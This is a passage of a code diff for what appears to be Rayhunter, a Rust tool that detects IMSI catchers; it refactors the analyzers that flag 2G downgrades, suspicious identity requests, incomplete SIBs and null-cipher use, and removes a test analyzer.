assert_eq!(row.events[0].as_ref().unwrap().event_type, EventType::High);
assert_eq!(
row.events[1].as_ref().unwrap().event_type,
EventType::Informational
);
assert!(row.events[2].is_none());
}
}
@@ -1,7 +1,8 @@
use std::borrow::Cow; use std::borrow::Cow;
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
use super::util::unpack;
use telcom_parser::lte_rrc::{ use telcom_parser::lte_rrc::{
DL_DCCH_MessageType, DL_DCCH_MessageType_c1, RRCConnectionReleaseCriticalExtensions, DL_DCCH_MessageType, DL_DCCH_MessageType_c1, RRCConnectionReleaseCriticalExtensions,
RRCConnectionReleaseCriticalExtensions_c1, RedirectedCarrierInfo, RRCConnectionReleaseCriticalExtensions_c1, RedirectedCarrierInfo,
@@ -13,11 +14,11 @@ pub struct ConnectionRedirect2GDowngradeAnalyzer {}
// TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones // TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones
impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer { impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<str> {
Cow::from("Connection Release/Redirected Carrier 2G Downgrade") Cow::from("Connection Release/Redirected Carrier 2G Downgrade")
} }
fn get_description(&self) -> Cow<'_, str> { fn get_description(&self) -> Cow<str> {
Cow::from("Tests if a cell releases our connection and redirects us to a 2G cell.") Cow::from("Tests if a cell releases our connection and redirects us to a 2G cell.")
} }
@@ -26,26 +27,27 @@ impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
if let InformationElement::LTE(lte_ie) = ie unpack!(InformationElement::LTE(lte_ie) = ie);
&& let LteInformationElement::DlDcch(msg_cont) = &**lte_ie let message = match &**lte_ie {
&& let DL_DCCH_MessageType::C1(c1) = &msg_cont.message LteInformationElement::DlDcch(msg_cont) => &msg_cont.message,
&& let DL_DCCH_MessageType_c1::RrcConnectionRelease(release) = c1 _ => return None,
&& let RRCConnectionReleaseCriticalExtensions::C1(c1) = &release.critical_extensions };
&& let RRCConnectionReleaseCriticalExtensions_c1::RrcConnectionRelease_r8(r8_ies) = c1 unpack!(DL_DCCH_MessageType::C1(c1) = message);
&& let Some(carrier_info) = &r8_ies.redirected_carrier_info unpack!(DL_DCCH_MessageType_c1::RrcConnectionRelease(release) = c1);
{ unpack!(RRCConnectionReleaseCriticalExtensions::C1(c1) = &release.critical_extensions);
match carrier_info { unpack!(RRCConnectionReleaseCriticalExtensions_c1::RrcConnectionRelease_r8(r8_ies) = c1);
RedirectedCarrierInfo::Geran(_carrier_freqs_geran) => Some(Event { unpack!(Some(carrier_info) = &r8_ies.redirected_carrier_info);
event_type: EventType::High, match carrier_info {
message: "Detected 2G downgrade".to_owned(), RedirectedCarrierInfo::Geran(_carrier_freqs_geran) => Some(Event {
}), event_type: EventType::QualitativeWarning {
_ => Some(Event { severity: Severity::High,
event_type: EventType::Informational, },
message: format!("RRCConnectionRelease CarrierInfo: {carrier_info:?}"), message: "Detected 2G downgrade".to_owned(),
}), }),
} _ => Some(Event {
} else { event_type: EventType::Informational,
None message: format!("RRCConnectionRelease CarrierInfo: {carrier_info:?}"),
}),
} }
} }
} }
+13 -30
View File
@@ -3,7 +3,7 @@ use std::borrow::Cow;
use pycrate_rs::nas::NASMessage; use pycrate_rs::nas::NASMessage;
use pycrate_rs::nas::emm::EMMMessage; use pycrate_rs::nas::emm::EMMMessage;
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
use log::debug; use log::debug;
@@ -56,46 +56,29 @@ impl ImsiRequestedAnalyzer {
self.timeout_counter = 0; self.timeout_counter = 0;
} }
// IMSI or IMEI requested after auth accept
(State::AuthAccept, State::IdentityRequest) => {
self.flag = Some(Event {
event_type: EventType::High,
message: format!(
"Identity requested after auth request (frame {})",
self.packet_num
),
});
}
// Unexpected IMSI without AttachRequest // Unexpected IMSI without AttachRequest
(State::Disconnect, State::IdentityRequest) => { (current, State::IdentityRequest) if *current != State::AttachRequest => {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::High, event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
message: format!( message: format!(
"Identity requested without Attach Request (frame {})", "Identity requested without Attach Request (frame {})",
self.packet_num self.packet_num
), )
.to_string(),
}); });
} }
// IMSI to Disconnect without AuthAccept // IMSI to Disconnect without AuthAccept
(State::IdentityRequest, State::Disconnect) => { (State::IdentityRequest, State::Disconnect) => {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::High, event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
message: format!( message: format!(
"Disconnected after Identity Request without Auth Accept (frame {})", "Disconnected after Identity Request without Auth Accept (frame {})",
self.packet_num self.packet_num
),
});
}
// Notify on any identity reqeust (IMEI or IMSI)
(_, State::IdentityRequest) => {
self.flag = Some(Event {
event_type: EventType::Informational,
message: format!(
"Identity Request happened but its not suspicious yet. (frame {})",
self.packet_num
) )
.to_string(), .to_string(),
}); });
@@ -115,18 +98,18 @@ impl ImsiRequestedAnalyzer {
} }
impl Analyzer for ImsiRequestedAnalyzer { impl Analyzer for ImsiRequestedAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<str> {
Cow::from("Identity (IMSI or IMEI) requested in suspicious manner") Cow::from("Identity (IMSI or IMEI) requested in suspicious manner")
} }
fn get_description(&self) -> Cow<'_, str> { fn get_description(&self) -> Cow<str> {
Cow::from( Cow::from(
"Tests whether the ME sends an Identity Request NAS message without either an associated attach request or auth accept message", "Tests whether the ME sends an Identity Request NAS message without either an associated attach request or auth accept message",
) )
} }
fn get_version(&self) -> u32 { fn get_version(&self) -> u32 {
3 2
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
+14 -10
View File
@@ -2,7 +2,9 @@ use std::borrow::Cow;
use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1}; use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1};
use super::analyzer::{Analyzer, Event, EventType}; use crate::analysis::util::unpack;
use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
pub struct IncompleteSibAnalyzer { pub struct IncompleteSibAnalyzer {
@@ -22,11 +24,11 @@ impl IncompleteSibAnalyzer {
} }
impl Analyzer for IncompleteSibAnalyzer { impl Analyzer for IncompleteSibAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<str> {
Cow::from("Incomplete SIB") Cow::from("Incomplete SIB")
} }
fn get_description(&self) -> Cow<'_, str> { fn get_description(&self) -> Cow<str> {
Cow::from("Tests whether a SIB1 message contains a full chain of followup sibs") Cow::from("Tests whether a SIB1 message contains a full chain of followup sibs")
} }
@@ -37,14 +39,16 @@ impl Analyzer for IncompleteSibAnalyzer {
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
self.packet_num += 1; self.packet_num += 1;
if let InformationElement::LTE(lte_ie) = ie unpack!(InformationElement::LTE(lte_ie) = ie);
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie unpack!(LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie);
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message unpack!(BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message);
&& let BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1 unpack!(BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1);
&& sib1.scheduling_info_list.0.len() < 2
{ if sib1.scheduling_info_list.0.len() < 2 {
return Some(Event { return Some(Event {
event_type: EventType::Medium, event_type: EventType::QualitativeWarning {
severity: Severity::Medium,
},
message: format!( message: format!(
"SIB1 scheduling info list was malformed (packet {})", "SIB1 scheduling info list was malformed (packet {})",
self.packet_num self.packet_num
-1
View File
@@ -6,5 +6,4 @@ pub mod information_element;
pub mod nas_null_cipher; pub mod nas_null_cipher;
pub mod null_cipher; pub mod null_cipher;
pub mod priority_2g_downgrade; pub mod priority_2g_downgrade;
pub mod test_analyzer;
pub mod util; pub mod util;
+15 -13
View File
@@ -4,7 +4,7 @@ use pycrate_rs::nas::NASMessage;
use pycrate_rs::nas::emm::EMMMessage; use pycrate_rs::nas::emm::EMMMessage;
use pycrate_rs::nas::generated::emm::emm_security_mode_command::NASSecAlgoCiphAlgo::EPSEncryptionAlgorithmEEA0Null; use pycrate_rs::nas::generated::emm::emm_security_mode_command::NASSecAlgoCiphAlgo::EPSEncryptionAlgorithmEEA0Null;
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
pub struct NasNullCipherAnalyzer { pub struct NasNullCipherAnalyzer {
@@ -24,11 +24,11 @@ impl NasNullCipherAnalyzer {
} }
impl Analyzer for NasNullCipherAnalyzer { impl Analyzer for NasNullCipherAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<str> {
Cow::from("NAS Null Cipher Requested") Cow::from("NAS Null Cipher Requested")
} }
fn get_description(&self) -> Cow<'_, str> { fn get_description(&self) -> Cow<str> {
Cow::from( Cow::from(
"Tests whether the MME requests to use a null cipher in the NAS security mode command", "Tests whether the MME requests to use a null cipher in the NAS security mode command",
) )
@@ -48,16 +48,18 @@ impl Analyzer for NasNullCipherAnalyzer {
_ => return None, _ => return None,
}; };
if let NASMessage::EMMMessage(EMMMessage::EMMSecurityModeCommand(req)) = payload if let NASMessage::EMMMessage(EMMMessage::EMMSecurityModeCommand(req)) = payload {
&& req.nas_sec_algo.inner.ciph_algo == EPSEncryptionAlgorithmEEA0Null if req.nas_sec_algo.inner.ciph_algo == EPSEncryptionAlgorithmEEA0Null {
{ return Some(Event {
return Some(Event { event_type: EventType::QualitativeWarning {
event_type: EventType::High, severity: Severity::High,
message: format!( },
"NAS Security mode command requested null cipher(packet {})", message: format!(
self.packet_num "NAS Security mode command requested null cipher(packet {})",
), self.packet_num
}); ),
});
}
} }
None None
} }
+18 -16
View File
@@ -8,7 +8,7 @@ use telcom_parser::lte_rrc::{
SecurityModeCommandCriticalExtensions, SecurityModeCommandCriticalExtensions_c1, SecurityModeCommandCriticalExtensions, SecurityModeCommandCriticalExtensions_c1,
}; };
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
pub struct NullCipherAnalyzer {} pub struct NullCipherAnalyzer {}
@@ -37,10 +37,10 @@ impl NullCipherAnalyzer {
Some(&rat.security_algorithm_config) Some(&rat.security_algorithm_config)
} }
}; };
if let Some(security_config) = maybe_security_config if let Some(security_config) = maybe_security_config {
&& security_config.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0 if security_config.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0 {
{ return true;
return true; }
} }
} }
// Use map/flatten to dig into a long chain of nested Option types // Use map/flatten to dig into a long chain of nested Option types
@@ -62,10 +62,10 @@ impl NullCipherAnalyzer {
.as_ref() .as_ref()
.and_then(|scg| scg.mobility_control_info_scg_r12.as_ref()) .and_then(|scg| scg.mobility_control_info_scg_r12.as_ref())
.and_then(|mci| mci.ciphering_algorithm_scg_r12.as_ref()); .and_then(|mci| mci.ciphering_algorithm_scg_r12.as_ref());
if let Some(cipher) = maybe_cipher if let Some(cipher) = maybe_cipher {
&& cipher.0 == CipheringAlgorithm_r12::EEA0 if cipher.0 == CipheringAlgorithm_r12::EEA0 {
{ return true;
return true; }
} }
} }
@@ -90,10 +90,10 @@ impl NullCipherAnalyzer {
Some(&to_5gc.security_algorithm_config_r15) Some(&to_5gc.security_algorithm_config_r15)
} }
}; };
if let Some(security_algorithm) = maybe_security_algorithm if let Some(security_algorithm) = maybe_security_algorithm {
&& security_algorithm.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0 if security_algorithm.ciphering_algorithm.0 == CipheringAlgorithm_r12::EEA0 {
{ return true;
return true; }
} }
false false
} }
@@ -119,11 +119,11 @@ impl NullCipherAnalyzer {
} }
impl Analyzer for NullCipherAnalyzer { impl Analyzer for NullCipherAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<str> {
Cow::from("Null Cipher") Cow::from("Null Cipher")
} }
fn get_description(&self) -> Cow<'_, str> { fn get_description(&self) -> Cow<str> {
Cow::from("Tests whether the cell suggests using a null cipher (EEA0)") Cow::from("Tests whether the cell suggests using a null cipher (EEA0)")
} }
@@ -153,7 +153,9 @@ impl Analyzer for NullCipherAnalyzer {
}; };
if null_cipher_detected { if null_cipher_detected {
return Some(Event { return Some(Event {
event_type: EventType::High, event_type: EventType::QualitativeWarning {
severity: Severity::High,
},
message: "Cell suggested use of null cipher".to_string(), message: "Cell suggested use of null cipher".to_string(),
}); });
} }
+38 -32
View File
@@ -1,6 +1,6 @@
use std::borrow::Cow; use std::borrow::Cow;
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType, Severity};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
use telcom_parser::lte_rrc::{ use telcom_parser::lte_rrc::{
BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1, CellReselectionPriority, BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1, CellReselectionPriority,
@@ -16,15 +16,19 @@ impl LteSib6And7DowngradeAnalyzer {
&self, &self,
ie: &'a InformationElement, ie: &'a InformationElement,
) -> Option<&'a SystemInformation_r8_IEsSib_TypeAndInfo> { ) -> Option<&'a SystemInformation_r8_IEsSib_TypeAndInfo> {
if let InformationElement::LTE(lte_ie) = ie if let InformationElement::LTE(lte_ie) = ie {
&& let LteInformationElement::BcchDlSch(bcch_dl_sch_message) = &**lte_ie if let LteInformationElement::BcchDlSch(bcch_dl_sch_message) = &**lte_ie {
&& let BCCH_DL_SCH_MessageType::C1(BCCH_DL_SCH_MessageType_c1::SystemInformation( if let BCCH_DL_SCH_MessageType::C1(BCCH_DL_SCH_MessageType_c1::SystemInformation(
system_information, system_information,
)) = &bcch_dl_sch_message.message )) = &bcch_dl_sch_message.message
&& let SystemInformationCriticalExtensions::SystemInformation_r8(sib) = {
&system_information.critical_extensions if let SystemInformationCriticalExtensions::SystemInformation_r8(sib) =
{ &system_information.critical_extensions
return Some(&sib.sib_type_and_info); {
return Some(&sib.sib_type_and_info);
}
}
}
} }
None None
} }
@@ -32,11 +36,11 @@ impl LteSib6And7DowngradeAnalyzer {
// TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones // TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones
impl Analyzer for LteSib6And7DowngradeAnalyzer { impl Analyzer for LteSib6And7DowngradeAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<str> {
Cow::from("LTE SIB 6/7 Downgrade") Cow::from("LTE SIB 6/7 Downgrade")
} }
fn get_description(&self) -> Cow<'_, str> { fn get_description(&self) -> Cow<str> {
Cow::from( Cow::from(
"Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities.", "Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities.",
) )
@@ -58,14 +62,13 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 { for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) = if let Some(CellReselectionPriority(p)) =
carrier_info.cell_reselection_priority carrier_info.cell_reselection_priority
&& p == 0
{ {
return Some(Event { if p == 0 {
event_type: EventType::High, return Some(Event {
message: event_type: EventType::QualitativeWarning { severity: Severity::High },
"LTE cell advertised a 3G cell for priority 0 reselection" message: "LTE cell advertised a 3G cell for priority 0 reselection".to_string(),
.to_string(), });
}); }
} }
} }
} }
@@ -73,14 +76,13 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 { for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) = if let Some(CellReselectionPriority(p)) =
carrier_info.cell_reselection_priority carrier_info.cell_reselection_priority
&& p == 0
{ {
return Some(Event { if p == 0 {
event_type: EventType::High, return Some(Event {
message: event_type: EventType::QualitativeWarning { severity: Severity::High },
"LTE cell advertised a 3G cell for priority 0 reselection" message: "LTE cell advertised a 3G cell for priority 0 reselection".to_string(),
.to_string(), });
}); }
} }
} }
} }
@@ -94,13 +96,17 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
for carrier_info in &carrier_info_list.0 { for carrier_info in &carrier_info_list.0 {
if let Some(CellReselectionPriority(p)) = if let Some(CellReselectionPriority(p)) =
carrier_info.common_info.cell_reselection_priority carrier_info.common_info.cell_reselection_priority
&& p == 0
{ {
return Some(Event { if p == 0 {
event_type: EventType::High, return Some(Event {
message: "LTE cell advertised a 2G cell for priority 0 reselection" event_type: EventType::QualitativeWarning {
.to_string(), severity: Severity::High,
}); },
message:
"LTE cell advertised a 2G cell for priority 0 reselection"
.to_string(),
});
}
} }
} }
} }
-75
View File
@@ -1,75 +0,0 @@
use std::borrow::Cow;
use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1};
use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement};
use deku::bitvec::*;
pub struct TestAnalyzer {
packet_num: usize,
}
impl Default for TestAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl TestAnalyzer {
pub fn new() -> Self {
Self { packet_num: 0 }
}
}
impl Analyzer for TestAnalyzer {
fn get_name(&self) -> Cow<'_, str> {
Cow::from("Test Analyzer")
}
fn get_description(&self) -> Cow<'_, str> {
Cow::from(
"This is an analyzer which can be used to test that your rayhunter is working. It will generate an alert for every SIB1 message (a beacon from the cell tower) that it sees. Do not leave this on when you are hunting or it will be very noisy.",
)
}
fn get_version(&self) -> u32 {
1
}
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
self.packet_num += 1;
if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
&& let BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1
{
let cid = sib1
.cell_access_related_info
.cell_identity
.0
.as_bitslice()
.load::<u32>();
let plmn = &sib1.cell_access_related_info.plmn_identity_list.0;
let mcc_string: String;
if let Some(mcc) = &plmn[0].plmn_identity.mcc {
mcc_string = format!("{}{}{}", mcc.0[0].0, mcc.0[1].0, mcc.0[2].0);
} else {
mcc_string = "nomcc".to_string();
}
let mnc = &plmn[0].plmn_identity.mnc;
let mnc_string: String = format!("{}{}{}", mnc.0[0].0, mnc.0[1].0, mnc.0[2].0);
return Some(Event {
event_type: EventType::Low,
message: format!(
"SIB1 received (packet {}) CID: {}, PLMN: {}-{}",
self.packet_num, cid, mcc_string, mnc_string
),
});
}
None
}
}
+32
View File
@@ -1 +1,33 @@
// Unpacks a pattern, or returns None.
//
// # Examples
// You can use `unpack!` to unroll highly nested enums like this:
// ```
// enum Foo {
// A(Bar),
// B,
// }
//
// enum Bar {
// C(Baz)
// }
//
// struct Baz;
//
// fn get_bang(foo: Foo) -> Option<Baz> {
// unpack!(Foo::A(bar) = foo);
// unpack!(Bar::C(baz) = bar);
// baz
// }
// ```
//
macro_rules! unpack {
($pat:pat = $val:expr) => {
let $pat = $val else {
return None;
};
};
}
// this is apparently how you make a macro publicly usable from this module
pub(crate) use unpack;
+4 -4
View File
@@ -198,10 +198,10 @@ impl DiagDevice {
return Err(DiagDeviceError::DeviceWriteFailed(err)); return Err(DiagDeviceError::DeviceWriteFailed(err));
} }
} }
if let Err(err) = self.file.flush().await if let Err(err) = self.file.flush().await {
&& err.kind() != ErrorKind::WriteZero if err.kind() != ErrorKind::WriteZero {
{ return Err(DiagDeviceError::DeviceWriteFailed(err));
return Err(DiagDeviceError::DeviceWriteFailed(err)); }
} }
Ok(()) Ok(())
} }
-1
View File
@@ -25,5 +25,4 @@ pub enum Device {
Tmobile, Tmobile,
Wingtech, Wingtech,
Pinephone, Pinephone,
Uz801,
} }
+9 -9
View File
@@ -77,16 +77,16 @@ where
pub async fn get_next_messages_container( pub async fn get_next_messages_container(
&mut self, &mut self,
) -> Result<Option<MessagesContainer>, std::io::Error> { ) -> Result<Option<MessagesContainer>, std::io::Error> {
if let Some(max_bytes) = self.max_bytes if let Some(max_bytes) = self.max_bytes {
&& self.bytes_read >= max_bytes if self.bytes_read >= max_bytes {
{ if self.bytes_read > max_bytes {
if self.bytes_read > max_bytes { error!(
error!( "warning: {} bytes read, but max_bytes was {}",
"warning: {} bytes read, but max_bytes was {}", self.bytes_read, max_bytes
self.bytes_read, max_bytes );
); }
return Ok(None);
} }
return Ok(None);
} }
let mut buf = Vec::new(); let mut buf = Vec::new();
+2 -2
View File
@@ -1,10 +1,10 @@
use serde::{Deserialize, Serialize}; use serde::Serialize;
#[cfg(target_family = "unix")] #[cfg(target_family = "unix")]
use nix::sys::utsname::uname; use nix::sys::utsname::uname;
/// Expose binary and system information. /// Expose binary and system information.
#[derive(Serialize, Deserialize, Debug)] #[derive(Serialize, Debug)]
pub struct RuntimeMetadata { pub struct RuntimeMetadata {
/// The cargo package version from this library's cargo.toml, e.g., "1.2.3". /// The cargo package version from this library's cargo.toml, e.g., "1.2.3".
pub rayhunter_version: String, pub rayhunter_version: String,

Some files were not shown because too many files have changed in this diff Show More